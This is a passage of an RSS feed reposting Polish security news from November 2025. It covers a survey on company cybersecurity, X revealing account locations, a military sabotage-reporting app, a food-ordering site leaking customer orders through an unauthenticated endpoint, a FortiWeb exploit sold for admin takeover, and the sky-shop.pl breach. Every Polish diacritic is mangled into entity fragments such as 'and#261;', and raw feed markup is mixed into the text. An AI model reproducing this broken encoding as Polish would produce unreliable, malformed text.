Teoretycznie szkolenia sand#261; okazjand#261; by porozmawiaand#263; o procedurach, ale szkoleand#324; albo nie ma, albo sand#261; dziwnie rzadko. Tegoroczne badanie pokazuje, and#380;e aand#380; 55% pracownikand#243;w w Polsce nie uczestniczyand#322;o w ciand#261;gu ostatnich piand#281;ciu lat w and#380;adnym szkoleniu z cyberbezpieczeand#324;stwa. Odsetek ten jest wyand#380;szy niand#380; w zeszand#322;orocznym badaniu. Jednorazowy udziaand#322; zadeklarowaand#322;o jedynie 23% pracujand#261;cych, natomiast tylko nieco ponadand#160; jedna piand#261;ta szkoliand#322;a siand#281; kilkukrotnie. Generalnie da siand#281; zauwaand#380;yand#263;, and#380;e im wiand#281;ksza organizacja tym wiand#281;ksza szansa na przeszkolenie.

Jeand#347;li chodzi o tematykand#281; szkoleand#324; to ciekawe sand#261; dane dotyczand#261;ce szkoleand#324; z bezpieczeand#324;stwa AI. Takie szkolenia najczand#281;and#347;ciej przechodzand#261; ludzie z dziaand#322;and#243;w IT (wedand#322;ug raportu). My tymczasem obserwujemy, and#380;e w wielu firmach and#8220;rewolucja AIand#8221; jest wprowadzana and#8220;oddolnieand#8221;, nierzadko w oparciu o generyczne narzand#281;dzia i wand#322;aand#347;nie ludzie zmuszani do takiego wdraand#380;ania AI sand#261; rzadziej szkoleni z tego zakresu.
Nie chcemy Chin i Rosji, a UE nie rozumiemy
W raporcie znaleand#378;liand#347;my takand#380;e problemy rangi miand#281;dzynarodowej. Firmy zaczynajand#261; mieand#263; obawy co do produktand#243;w spoza UE. Dla 57% specjalistand#243;w kraj pochodzenia producenta ma wpand#322;yw na decyzje zakupowe. Aand#380; 71% duand#380;ych firm deklaruje, and#380;e przywiand#261;zuje wagand#281; do wpand#322;ywu pochodzenia technologii na bezpieczeand#324;stwo cyfrowe, w porand#243;wnaniu do 65% maand#322;ych i 62% and#347;rednich przedsiand#281;biorstw. Moand#380;emy chyba powiedzieand#263;, and#380;e and#8220;cyfrowa suwerennoand#347;and#263;and#8221; zaczyna siand#281; liczyand#263;, skoro aand#380;and#160;and#160;49% ekspertand#243;w ds. cyberbezpieczeand#324;stwa uwaand#380;a, and#380;e zaleand#380;noand#347;and#263; od producentand#243;w spoza Polski i Europy to potencjalne zagroand#380;enie dla ich firmy.
Z drugiej jednak strony firmy majand#261; problem z przystosowaniem siand#281; do wymogand#243;w UE. Jak zapewne doskonale wiecie, wdroand#380;enie dyrektywy NIS2 nastand#261;pi w Polsce niebawem, w wyniku nowelizacji ustawy o Krajowym Systemie Cyberbezpieczeand#324;stwa. Firmy band#281;dand#261; musiaand#322;y same ustaliand#263;, czy podlegajand#261; pod NIS2 (niezrobienie tego moand#380;e oznaczaand#263; karand#281;). Czy Twoja firma siand#281; na to zand#322;apie? Moand#380;esz sand#261;dziand#263;, and#380;e nie bo np. prowadzisz firmand#281; budowlanand#261;, ale jeand#347;li ta firma utylizuje odpady toand#8230;?
Rzecz w tym, and#380;e podleganie pod NIS2 to nie zawsze prosta sprawa i raport ESET i DAGMA Bezpieczeand#324;stwo IT potwierdza, and#380;e firmy siand#281; w tym gubiand#261;. Pewne prace nad dostosowaniami juand#380; ruszyand#322;y. Najczand#281;and#347;ciej wdraand#380;anand#261; inicjatywand#261; jest aktualizacja polityki cyberbezpieczeand#324;stwa and#8211; 53% badanych organizacji juand#380; przeprowadziand#322;o taki proces, a kolejne 34% planuje jego realizacjand#281;. Rand#243;wnolegle 51% firm zdecydowaand#322;o siand#281; na dodatkowe szkolenia dla pracownikand#243;w, a 38% deklaruje, and#380;e sand#261; one w planach. Jednak do tego wszystkiego musimy dorzuciand#263; jednand#261; informacjand#281; and#8211; aand#380; 36% ekspertand#243;w ds. cyberbezpieczeand#324;stwa przyznaje, and#380;e nie wie, czy ich firma podlega pod regulacje wynikajand#261;ce z dyrektywy.

Przyszand#322;oand#347;and#263; vs codziennoand#347;and#263;
Poza tym raport ESET i DAGMA Bezpieczeand#324;stwo IT pokazuje, and#380;e polskie firmy wciand#261;and#380; majand#261; wiele do zrobienia u podstaw.

Tylko 53% firm ma antywirusa
55% pracownikand#243;w uand#380;ywa tych samych haseand#322; do rand#243;and#380;nych kont sand#322;uand#380;bowych
19% pracownikand#243;w przyznaand#322;o siand#281; do udostand#281;pniania wraand#380;liwych danych firmy narzand#281;dziom AI (np. ChatGPT)
Tylko co 4 firma siand#281;ga po 2FA
Na szczycie zagroand#380;eand#324; ciand#261;gle jest phishing


Badanie wykazaand#322;o, and#380;e zagroand#380;enia cybernetyczne dotyczand#261; rand#243;wnieand#380; pracownikand#243;w, ktand#243;rzy na co dzieand#324; nie zajmujand#261; siand#281; bezpieczeand#324;stwem IT. Aand#380; 13% respondentand#243;w przyznaand#322;o, and#380;e padand#322;o ofiarand#261; cyberataku w pracy, a ponad jedna czwarta (26%) doand#347;wiadczyand#322;a takiego incydentu w and#380;yciu osobistym. Biorand#261;c pod uwagand#281; rzeczywiste skutki cyberatakand#243;w dla osand#243;b prywatnych i firm, tak wysoki odsetek przypadkand#243;w budzi powaand#380;ne obawy.
Czy w tym raporcie jest cokolwiek optymistycznego? Wand#322;aand#347;ciwie jedno. Choand#263; nie jest idealnie to coraz wiand#281;cej firm dostrzega to i chce to zmieniand#263;.
and#8212;and#160;Przy stale rosnand#261;cych potrzebach (zewnand#281;trzne regulacje i wzrost cyberprzestand#281;pczoand#347;ci i haktywizmu) trudno jednak nadand#261;and#380;yand#263; z realizacjand#261; tych wyzwaand#324;. Nie dziwi motywacja do wprowadzania zabezpieczeand#324; and#8211; strachand#160; przed skutkami cyberataku dodatkowo podsycany niezbyt optymistycznymi informacjami o kolejnych polskich firmach dotkniand#281;tych konsekwencjami cyberincydentu (and#8230;) Napawa optymizmem fakt, and#380;e firmy dostrzegajand#261; istotnoand#347;and#263; inwestycji w cyberbezpieczeand#324;stwo. Spora czand#281;and#347;and#263; wyzwaand#324; inwestycyjnych wskazywana w badaniu zostaand#322;a uznana przez badanych jako dobrze, lub bardzo dobrze zaopiekowana. Daje to solidne podstawy i komfort pracy do doskonalenia potencjaand#322;u cyberodpornoand#347;ci firm i instytucji w Polsceand#160;and#160;and#8211; podsumowuje Dawid Ziand#281;cina, Technical Departament Director z DAGMA Bezpieczeand#324;stwo IT.
Zachand#281;camy do przejrzenia raportuand#160;Cyberportret polskiego biznesu 2025
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 24 listopada 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Twitter demaskuje użytkowników. Nowe zmiany zdradzają, skąd i jak prowadzone jest konto ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1590</link>
			<description><![CDATA[ Odnotujmy waand#380;nand#261; z punktuand#160;OSINT-owegoand#160;zmianand#281;: Twitter (obecnie: X) zaczand#261;and#322; pokazywaand#263;and#160;kraj i lokalizacjand#281;, z powiand#261;zane z danym kontem. Oznaczane jest teand#380; uand#380;ycie VPN-a.
Zmiana wywoand#322;aand#322;a duand#380;o emocji and#8212; nagle okazaand#322;o siand#281;, and#380;e wiele profili tylko udaje lokalnych komentatorand#243;w, a w rzeczywistoand#347;ci jest prowadzona z innego kraju niand#380; ten, ktand#243;rego sprawy aktywnie komentujand#261;.
Jak to wygland#261;da?
Poniand#380;ej prezentacja tego, jak wygland#261;dajand#261; nowe zmiany. Jak widaand#263; HRejterzy swoje konto prowdzand#261; nie z aplikacji, a przez stronand#281; internetowand#261;. Z kolei konto Richarda Bransona jest podand#322;and#261;czone do aplikacji mobilnej pobranej w Wielkiej Brytanii, ale logowania nastand#281;pujand#261; juand#380; z terytorium USA i poprzez VPN-a (patrz symbol tarczy).

Prawdziwand#261; zagadkand#261; za to wciand#261;and#380; jest Grzegorz Braunand#8230; Przy jego aktywnym profilu brak danych co do zaand#322;oand#380;enia i co do logowania and#8212; przypadek?! ;-)
Niekoniecznie.and#160;Pewneand#160;konta (politykand#243;w i organizacji) sand#261; po prostu przez Twittera dodatkowo chronione.
To nie sand#261; 100% wiarygodna informacje
Warto jednak pamiand#281;taand#263;, and#380;e zarand#243;wno implementacja wykrywania tego, czy poand#322;and#261;czenie jest VPN-em, jak i korzystanie z baz mapujand#261;cych IP na dany kraj, to metody nie zawsze dajand#261;ce 100% pewnoand#347;and#263;.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 23 listopada 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Wojsko udostępni Polakom aplikację do zgłaszania zagrożeń i aktów dywersji ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1589</link>
			<description><![CDATA[ W and#347;rodand#281;, w odpowiedzi na podand#322;oand#380;enie and#322;adunkand#243;w wybuchowych na torach kolejowych, wicepremier Kosiniak-Kamysz ogand#322;osiand#322; operacjand#281;and#160;Horyzont, ktand#243;rej celem jest przeciwdziaand#322;anie aktom dywersji, zwand#322;aszcza jeand#347;li dotyczand#261; infrastruktury krytycznej. Jednym z elementand#243;w operacji ma byand#263;and#160;aplikacja mobilna, ktand#243;rand#261;and#160;stworzand#261; Wojska Obrony Cyberprzestrzeni. Aplikacja zostanie udostand#281;pniona jeszcze w tym roku, a dziand#281;ki niej Polacy band#281;dand#261; mogli zgand#322;aszaand#263;and#160;and#8220;incydentyand#8221; oraz podejrzane sytuacje, przekazujand#261;c zarand#243;wno opis, fotografiand#281; jak i dokand#322;adnand#261; lokalizacjand#281; zdarzenia.

Taka aplikacja jest potrzebna
Sama idea stojand#261;ca za aplikacjand#261;, czyli aktywizacja obywateli aby obserwowali najbliand#380;sze otoczenie, bardziej uwaand#380;nie niand#380; zwykle i zgand#322;aszali sytuacje, ktand#243;re mogand#261; mieand#263; znamiona dziaand#322;aand#324; dywersyjnych lub teand#380; sabotaand#380;owych and#8212; jest bardzo sensowna. I potrzebna bardziej niand#380; kiedykolwiek, bo and#8212; jak powiedziaand#322; Szef Sztabu Generalnego Wojska Polskiego gen. Wiesand#322;aw Kukuand#322;a:

Ostatnie wydarzenia sand#261; najlepszym dowodem, and#380;e and#380;yjemy w czasach, kiedy bezpieczeand#324;stwu musimy poand#347;wiand#281;caand#263; zdecydowanie wiand#281;cej uwagi. Intencje Federacji Rosyjskiej pozostajand#261; niezmienne, a wydarzenia ostatnich tygodni wytyczajand#261; szeroki horyzont potencjalnych zdarzeand#324;, ktand#243;re mogand#261; mieand#263; miejsce

Nie ma co z tym dyskutowaand#263;. Wielu osobom nasuwa siand#281; jednak na myand#347;l pytanieand#8230;
Ale dlaczego nie mObywatel?
Sand#261; plusy i minusy wprowadzenia opcji and#8220;zgand#322;aszania podejrzanych sytuacjiand#8221; przez mObywatela. Zacznijmy od plusand#243;w:

Baza uand#380;ytkownikand#243;w. mObywatel juand#380; dziaand#322;a na telefonach milionand#243;w Polakand#243;w
Dojrzaand#322;oand#347;and#263;. mObywatel ma juand#380;and#160;and#8220;wygrzaneand#8221; kanaand#322;y dystrybucji na platformach Google i Apple
Oszczand#281;dnoand#347;and#263;. Brak pewnych kosztand#243;w projektowych, bo to juand#380; teraz funkcjonujand#261;cy zespand#243;and#322; programistand#243;w z COI mand#243;gand#322;by szybko wydaand#263; nowand#261; funkcjand#281;

Ale sand#261; teand#380; minusy realizacji tego typu zgand#322;oszeand#324; przez mObywatela:

Brak peand#322;nej kontroli. Dane z mObywatela ma Ministerstwo Cyfryzacji a nie MON, trzeba by byand#322;o wypracowaand#263;and#160;sposand#243;b ich przekazywania
Brak peand#322;nego zaufania. Nie wszyscy obywatele ufajand#261; and#8220;rzand#261;dowej aplikacjiand#8221; (zostawmy na razie to, czy majand#261; ku temu podstawy). Byand#263; moand#380;e wiand#281;cej z nich ufa wojsku i to zaufanie objawi siand#281; tym, and#380;e aplikacji stworzonej przez wojsko udzieland#261; zgand#243;d na lokalizacjand#281; i innych uprawnieand#324; (np. dostand#281;p do aparatu i mikrofonu, lokalizacji)
Centralizacja. Tu nie trzeba wiele tand#322;umaczyand#263; and#8212; patrz ostatnie awarie AWS, Azure i Cloudflare

Jest teand#380;and#160;wiele innych aplikacji do and#8220;zgand#322;aszania problemand#243;wand#8221;and#8230;
Warto teand#380; dodaand#263;,and#160;and#380;e mObywatel jest tylko modelowym przykand#322;adem and#8220;jakiejand#347; aplikacji, do ktand#243;rej moand#380;na by byand#322;o dokleiand#263; tand#281;and#160;funkcjand#281;and#8220;. Bo aplikacji do zgand#322;oszeand#324; zagroand#380;eand#324; w Polsce toand#160;kilka mamy. Sand#261; regionalne (19115 w Warszawie) i ogand#243;lnokrajowe (jak choand#263;by RSO, czy Alarm112). Dlatego decyzja, przed ktand#243;rand#261; stanand#281;and#322;o wojsko i rzand#261;d to nie byand#322;a decyzja czy zand#322;and#261;czyand#263; konkretnie z mObywatelem. To byand#322;a decyzja czy zand#322;and#261;czyand#263; z czymand#347; co juand#380;and#160;dziaand#322;a, czy stworzyand#263; od zera wand#322;asne? I wybrano to drugie. Ktand#243;ry z argumentand#243;w zawaand#380;yand#322;? Moand#380;e kiedyand#347;and#160;siand#281; dowiemy.
Gdyby ktoand#347; chciaand#322; tand#281; decyzjand#281; wojska krytykowaand#263; podnoszand#261;c wyand#322;and#261;cznie aspekt and#8220;niepotrzebnych/zduplikowanych kosztand#243;wand#8221;, to and#8212; naszym zdaniem and#8212; koszty developmentu i utrzymania apki band#281;dand#261; siand#281; marginalnie rand#243;and#380;niand#322;y od alternatywnego scenariusza pt. and#8220;robimy to z innand#261; apkand#261;and#8221;. Dlatego naszym zdaniem raczej przewaand#380;yand#322;y kwestie kontroli i zaufania.
Niewykluczone teand#380;, and#380;e prototyp takiej aplikacji wojsko miaand#322;o juand#380; od pewnego czasu, poniewaand#380;and#160;kto jak kto, ale WOC to ma odpowiednie kompetencje i zdolnoand#347;ci jeand#347;li chodzi o tworzenie oprogramowania. Przypomnijmy, and#380;e to WOC jest autorem komunikatora Merkury 2.0 opartego o protokand#243;and#322; Matrix, z ktand#243;rego korzystaand#263; mogand#261; takand#380;e inne sand#322;uand#380;by.
Powyand#380;sze rozwaand#380;ania prowadzand#261; nas jednego pewnego wniosku. Jeand#347;li apka band#281;dzie tworzona przez ekspertand#243;w z WOC, to prawie na pewno band#281;dzie to dobrze zrobiona pod kand#261;tem bezpieczeand#324;stwa aplikacja. and#379;oand#322;nierze WOC-u potrafiand#261; w cyber jak maand#322;o kto w tym kraju. Niewykluczone teand#380; przecieand#380;, and#380;e podobna funkcja moand#380;e siand#281;and#160;pojawiand#263; takand#380;e w mObywatelu i innych aplikacjach, ktand#243;re and#8212; przez wypracowane przez wojsko API and#8212; band#281;dand#261; przekazywaand#263; zgand#322;oszenia w jedno i to samo miejsce.
A czy trzeba band#281;dzie siand#281;and#160;logowaand#263;?
No wand#322;aand#347;nie. Nas najbardziej interesuje, jak wyeliminowany zostanie problem faand#322;szywych zgand#322;oszeand#324;, jeand#347;li aplikacja nie band#281;dzie wymagaand#263; uwierzytelnienia? A jeand#347;li band#281;dzie go wymagaand#263;, to w jaki sposand#243;b? Profil Zaufany? NFC z dowodu osobistego? Rejestracja z kodem wysyand#322;anym SMS-em? A moand#380;e logowanie przez bankowoand#347;and#263; elektronicznand#261;?
Czas pokaand#380;e, oficjalnych informacji w tym zakresie na razie brak.
Nie czekaj na apkand#281;, zgand#322;aszaj juand#380; teraz
Tekst zakoand#324;czmy apelem. Podejrzane zachowania, dziwne sytuacje, nietypowe obiekty (nie tylko te przyczepione do torand#243;w) moand#380;ecie zgand#322;aszaand#263; sand#322;uand#380;bom juand#380;and#160;teraz. Nie musicie czekaand#263; na aplikacjand#281;. Jeand#347;li zaobserwujecie coand#347; podejrzanego, co moand#380;e mieand#263; wpand#322;yw na bezpieczeand#324;stwo, zrand#243;bcie fotkand#281;, zrand#243;bcie screenshota z ekranu Google Maps, a jak potraficie to odczytajcie dokand#322;adne parametry GPS dla Waszej pozycji i zadzwoand#324;cie na 112. Takie zgand#322;oszenia sand#261; w interesie nas wszystkich.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 20 listopada 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Wyciekły dane osób zamawiających jedzenie przez internet ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1588</link>
			<description><![CDATA[ Jeand#347;li zamawialiand#347;cie kiedykolwiek jedzenie online w serwisieand#160;NaWynos.elblag.pland#160;to niestety mamy dla Was smutnand#261;and#160;informacjand#281;. Moand#380;na byand#322;o pobraand#263; dane wszystkich osand#243;b, ktand#243;re od 2011 roku korzystaand#322;y z usand#322;ug tego serwisu, a zdaniem administratora portalu, to nie jest duand#380;y problem i nie sand#261; to dane w and#380;aden sposand#243;b wraand#380;liwe.
Co i jak wyciekand#322;o?
O sytuacji poinformowaand#322; nas Hubert z agencjiand#160;ztl.agency, ktand#243;ry szukaand#322; dla siebie jakiejand#347; opcji zamand#243;wienia jedzenia w Elbland#261;gu. I znalazand#322; serwis NaWynos.elblag.pl, ale majand#261;c specyficzne zawodowe przyzwyczajenia, postanowiand#322; przed zand#322;oand#380;eniem zamand#243;wienia and#8220;zajrzeand#263; w konsoland#281;and#8221;. Wkrand#243;tce ustaliand#322;, and#380;e ten serwis ma endpoint, pod ktand#243;ry moand#380;na, bez zalogowania, wysand#322;aand#263; and#8230;numer zamand#243;wienia i w odpowiedzi otrzymaand#263; informacje na temat tego zamand#243;wienia.
Sprawdziliand#347;my. Ustalenia Huberta siand#281; potwierdziand#322;y.

Okazaand#322;o siand#281;, and#380;e przechowywane sand#261; dane zamand#243;wieand#324; sprzed wielu lat. Nam udaand#322;o siand#281; dotrzeand#263; do zamand#243;wienia nr 1500 z 2011 roku.
Najwyand#380;szy numer zamand#243;wienia jaki trafiliand#347;my to 600605. Uwaga and#8211; nie wszystkie identyfikatory z tego zakresu (1500-600605) zwracaand#322;y jakand#261;and#347; odpowiedand#378;, choand#263; wiand#281;kszoand#347;and#263; zwracaand#322;a. Trudno oceniand#263; faktyczny rozmiar wycieku bez masowego odpytywania, a tego robiand#263; nie chcieliand#347;my.

Chcesz nauczyand#263; siand#281; atakowaand#263; i zabezpieczaand#263;and#160;aplikacje webowe?
Weand#378; udziaand#322; w naszym 2 dniowym, praktycznym szkoleniu pt. and#8220;Atakowanie i Ochrona Webaplikacjiand#8221; dziand#281;ki ktand#243;remu dowiesz siand#281;and#160;jak wykrywaand#263; band#322;and#281;dy w serwisach internetowych, niezaleand#380;nie od jand#281;zyka/frameworka w ktand#243;rym zostaand#322;y one stworzone. Najbliand#380;sze terminy tego szkolenia znajdziesz poniand#380;ej:

ZDALNIE:and#160;and#160;04-05 grudnia 2025r. and#8212; zostaand#322;oand#160;5 wolnych miejsc Ostatnio ktoand#347; zarejestrowaand#322; siand#281; 20 paand#378;dziernika 2025r. and#8594;and#160;zarejestruj siand#281; na to szkolenie

2444 PLN netto (do 26 listopada)

 
2744 PLN netto (od 27 listopada)


Warszawa:and#160;11-12 grudnia 2025r. and#8212; zostaand#322;oand#160;6 wolnych miejsc Ostatnio ktoand#347; zarejestrowaand#322; siand#281; 21 listopada 2025r. and#8594;and#160;zarejestruj siand#281; na to szkolenie

2444 PLN netto (do 28 listopada)

 
2744 PLN netto (od 29 listopada)


Wrocand#322;aw:and#160;15-16 grudnia 2025r. and#8212; zostaand#322;oand#160;6 wolnych miejsc Ostatnio ktoand#347; zarejestrowaand#322; siand#281; 23 listopada 2025r. and#8594;and#160;zarejestruj siand#281; na to szkolenie

2444 PLN netto (do 28 listopada)

 
2744 PLN netto (od 29 listopada)


Krakand#243;w:and#160;16-17 lutego 2026r. and#8212; zostaand#322;oand#160;8 wolnych miejsc Ostatnio ktoand#347; zarejestrowaand#322; siand#281; 24 listopada 2025r. and#8594;and#160;zarejestruj siand#281; na to szkolenie

2444 PLN netto (do 5 grudnia)

 
2744 PLN netto (od 6 grudnia)


ZDALNIE:and#160;16-17 marca 2026r. and#8212; zostaand#322;oand#160;9 wolnych miejsc Ostatnio ktoand#347; zarejestrowaand#322; siand#281; 24 listopada 2025r. and#8594;and#160;zarejestruj siand#281; na to szkolenie

2444 PLN netto (do 26 grudnia)

 
2744 PLN netto (od 27 grudnia)


Poznaand#324;:and#160;20-21 kwietnia 2026r. and#8212; zostaand#322;oand#160;9 wolnych miejsc Ostatnio ktoand#347; zarejestrowaand#322; siand#281; 24 listopada 2025r. and#8594;and#160;zarejestruj siand#281; na to szkolenie

2444 PLN netto (do 26 grudnia)

 
2744 PLN netto (od 27 grudnia)


W zestawach danych o zamand#243;wieniach byand#322;y:
adresy dostawy numery telefonand#243;w klientand#243;w kody do domofonand#243;w adres e-mail
(niekiedy)


Napisanie skryptu, ktand#243;ry pobieraand#322;by te dane masowo nie byand#322;oby zbyt trudneand#8230;
and#8220;nie widzand#281; tam and#380;adnych wraand#380;liwych danychand#8221;
Problem serwisowi staraand#322;and#160;siand#281; zgand#322;osiand#263; Hubert. Niestety, bezskutecznie. Postanowiliand#347;my pomand#243;c i poinformowaliand#347;my o incydencie administratora danych, ktand#243;rym jestand#160;BIURO USand#321;UG INFORMATYCZNYCH SOFTEL s.c.. Zgand#322;oszenie przekazaliand#347;my mailowo i telefonicznie, przy okazji zadajand#261;c spand#243;and#322;ce trzy pytania:

1. Czy ten incydent zostanie zgand#322;oszony do UODO? 2. Czy uand#380;ytkownicy serwisu zostanand#261; powiadomieni o wycieku? 3. Czy istnieje moand#380;liwoand#347;and#263;, and#380;e dane zostaand#322;y pobrane masowo?

Biuro potwierdziand#322;o przyjand#281;cie zgand#322;oszenia. Krand#243;tko potem otrzymaliand#347;my odpowiedzi na pytania od Wand#322;odka Gand#281;sickiego, wydawcy Elbland#261;skiej Gazety Internetowej i portalu portEl.pl oraz wspand#243;lnika wspomnianej spand#243;and#322;ki:

Dzieand#324; dobry, nie ma tam e-maila, jest tylko telefon i adres dostawy, ktand#243;ry niekoniecznie musi byand#263; zwiand#261;zany z telefonem. Uwagi o wejand#347;ciu do budynku nie sand#261; chronione przez RODO. Nie sand#261;dzand#281;, and#380;e to wymaga zgand#322;oszenia do UODO, nie widzand#281; tam and#380;adnych wraand#380;liwych danych. Podejmiemy natomiast kroki, and#380;eby to na wszelki wypadek zabezpieczyand#263;. Pozdrawiam i dziand#281;kujand#281; za zgand#322;oszenie tej sprawy.

Nie wiemy czy dane mogand#322;y zostaand#263; pobrane masowo i czy ktoand#347; w ogand#243;le to sprawdzi. Po naszej interwencji dostand#281;p do tej moand#380;liwoand#347;ci pobierania danych zostaand#322; zablokowany.
Dlaczego to jednak moand#380;e byand#263; problem?
Teoretycznie wykorzystujand#261;c opisanand#261; lukand#281; ktoand#347; mand#243;gand#322; pobraand#263;and#160;ogromnand#261; bazand#281; z telefonami dopasowanymi do adresand#243;w.and#160;Niektand#243;re adresy sand#261; dostand#281;pne publicznie (telefony teand#380;), wiand#281;c taka baza ma swojand#261; wartoand#347;and#263; i dane w niej zawarte mogand#261; byand#263; kojarzone z danymi o osobach pochodzand#261;cymi z innych and#378;rand#243;deand#322;, w tym z rejestrand#243;w publicznych (to zaand#347; moand#380;e mieand#263; znaczenie dla rozwaand#380;aand#324;, czy moand#380;na tu mand#243;wiand#263; o danych osobowych).
Ryzyka z tym zwiand#261;zane i konkretne narzand#281;dziach do namierzania informacji na temat osand#243;b i firm z publicznie dostand#281;pnych and#378;rand#243;deand#322; pokazujemy na naszym silnie praktycznym szkoleniu pt. and#8220;OSINT (rozszerzone 2-dniowe): zaawansowane pozyskiwanie szczegand#243;and#322;owych informacji na temat ludzi i firmand#8220;. Jeand#347;li chcesz siand#281; dowiedzieand#263; jak weryfikowaand#263; swoich klientand#243;w i kontrahentand#243;w, wykrywaand#263; fraudy i pozyskiwaand#263; informacje, ktand#243;re mogand#261; Ci pomand#243;c w obowiand#261;zkach sand#322;uand#380;bowych, zapraszamy na jeden z najbliand#380;szych terminand#243;w tego szkolenia:


Krakand#243;w:and#160;08-09 grudnia 2025r. and#8212; zostaand#322;oand#160;5 wolnych miejsc Ostatnio ktoand#347; zarejestrowaand#322; siand#281; 20 listopada 2025r. and#8594;and#160;zarejestruj siand#281; na to szkolenie

2444 PLN netto (do 28 listopada)

 
3044 PLN netto (od 29 listopada)


ZDALNIE:and#160;16-17 lutego 2026r. and#8212; zostaand#322;oand#160;8 wolnych miejsc Ostatnio ktoand#347; zarejestrowaand#322; siand#281; 24 listopada 2025r. and#8594;and#160;zarejestruj siand#281; na to szkolenie

2444 PLN netto (do 5 grudnia)

 
3044 PLN netto (od 6 grudnia)


Warszawa:and#160;26-27 lutego 2026r. and#8212; zostaand#322;oand#160;8 wolnych miejsc Ostatnio ktoand#347; zarejestrowaand#322; siand#281; 24 listopada 2025r. and#8594;and#160;zarejestruj siand#281; na to szkolenie

2444 PLN netto (do 5 grudnia)

 
3044 PLN netto (od 6 grudnia)


Wrocand#322;aw:and#160;27-28 kwietnia 2026r. and#8212; zostaand#322;oand#160;9 wolnych miejsc Ostatnio ktoand#347; zarejestrowaand#322; siand#281; 06 listopada 2025r. and#8594;and#160;zarejestruj siand#281; na to szkolenie

2444 PLN netto (do 12 grudnia)

 
3044 PLN netto (od 13 grudnia)


Naszym zdaniem uand#380;ytkownicy serwisu NaWynos.elblag.pl powinni wiedzieand#263;, and#380;e do takiego incydentu doszand#322;o, wiand#281;c jeand#347;li znacie kogoand#347;and#160;z Elbland#261;ga to dajcie mu znaand#263;, zwand#322;aszcza, and#380;e dane z najnowszych zamand#243;wieand#324;and#160;mogand#261; byand#263; wykorzystywane w atakach socjotechnicznych, wiand#281;c istniejand#261; pewne ryzyka zwiand#261;zane z naruszeniem praw i wolnoand#347;ci osand#243;b, ktand#243;rych te dane dotyczand#261;.
Aktualizacja 21.11.2025 9:51
Pan Wand#322;odek Gand#281;sicki poinformowaand#322; nas, and#380;e incydent jednak zostanie zgand#322;oszony do UODO. Niemniej w korespondencji e-mail stwierdziand#322;, and#380;e and#8220;Miand#281;dzy moand#380;liwoand#347;ciand#261; wycieku, a wyciekiem jest and#8220;drobnaand#8221; rand#243;and#380;nicaand#8220;. Prosiand#322; nas rand#243;wnieand#380; o ujawnienie danych na temat jednego z naszych informatorand#243;w (to raczej nie wchodzi w grand#281;) i generalnie wyraand#380;aand#322; and#380;al z powodu opisania incydentu. Stwierdziand#322; teand#380;, and#380;e logi zostaand#322;y przeanalizowane i nie doszand#322;o do masowego pobierania danych.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 19 listopada 2025
and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Krytyczna luka w Fortinet FortiWeb używana do ataków. ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1587</link>
			<description><![CDATA[ Kolejny groand#378;ny atak na puszki od Fortineta and#8212; upewnijcie siand#281;, and#380;e Wasz FortiWeb jest w wersji 8.0.2 zanim doczytacie ten artykuand#322; do koand#324;ca.
Wystawiono exploita na sprzedaand#380; i juand#380; widaand#263; ataki
6 listopada wystawiono na sprzedaand#380; exploita na FortiWeb (Web Application Firewall).

and#378;rand#243;dand#322;o: Rapid7.com

Exploit pozwala atakujand#261;cemu zaand#322;oand#380;yand#263; sobie konto z uprawnieniami administratora (!) w panelu zarzand#261;dzania FortiWeb. Atak dziaand#322;a na wersje FortiWeb 8.0.1 i wczeand#347;niejsze.

Nie ma jeszcze CVE i producent nie wydaand#322; peand#322;nego komunikatu, ale wygland#261;da na to, and#380;e po cichu zaand#322;ataand#322; band#322;and#261;d w 8.0.2. Co ciekawe, PoC na tand#281; lukand#281; zostaand#322; opublikowany juand#380; 6 paand#378;dziernika przez firmand#281;and#160;Defused, po tym jak wykryli atak w swoim honeypocie.
Krand#243;tko mand#243;wiand#261;c, zaand#322;atajcie siand#281;, a jak nie moand#380;ecie, and#347;ciand#261;gnijcie webinterfejs WAF-a z internetu. Albo postawcie przed nim innego WAF-a.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 14 listopada 2025
and#160;
and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Atak na klientów 9000 różnych polskich sklepów internetowych ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1586</link>
			<description><![CDATA[ Dziand#347; rano platforma sky-shop.pl, ktand#243;ra umoand#380;liwia kaand#380;demu zaand#322;oand#380;enie swojego sklepu internetowego (i ktand#243;rej twand#243;rcand#261; jest Przemo od and#8220;phpBB2 by Przemoand#8221;), poinformowaand#322;a swoich klientand#243;w (czyli wand#322;aand#347;cicieli sklepand#243;w) o tym, and#380;e dane ich klientand#243;w (czyli zapewne sporej czand#281;and#347;ci z Was, drodzy internauci) zostaand#322;y wykradzione.and#160;Poszkodowanych ma byand#263; 9000 rand#243;and#380;nych sklepand#243;w, nie podano jednak sumarycznej liczby uand#380;ytkownikand#243;w, ktand#243;rych dane pozyskaand#322; wand#322;amywacz.
Jak ustaliand#263;, czy byand#322;em klientem sklepu na platformie sky-shop.pl?
Zacznijmy od najwaand#380;niejszego. Sky-shop poinformowaand#322;o wand#322;aand#347;cicieli sklepand#243;w, ale to nie sky-shop band#281;dzie informowaand#263; uand#380;ytkownikand#243;w tych sklepand#243;w. To zadanie dla administratorand#243;w poszczegand#243;lnych sklepand#243;w i o ile wedle naszej wiedzy sky-shop wskazaand#322; im jak moand#380;na to zrobiand#263; za pomocand#261; platformy, to obawiamy siand#281;, and#380;e to moand#380;e oznaczaand#263;, iand#380; niektand#243;rzy z Was dowiedzand#261; siand#281; o tym, and#380;e Wasze dane wyciekand#322;y dopiero za kilka (kilkanaand#347;cie?) dni, a moand#380;e nawet nigdy, jeand#347;li wand#322;aand#347;ciciel sklepu, czand#281;sto bardzo maand#322;ego, komunikat od Sky-shopu po prostu zignoruje.
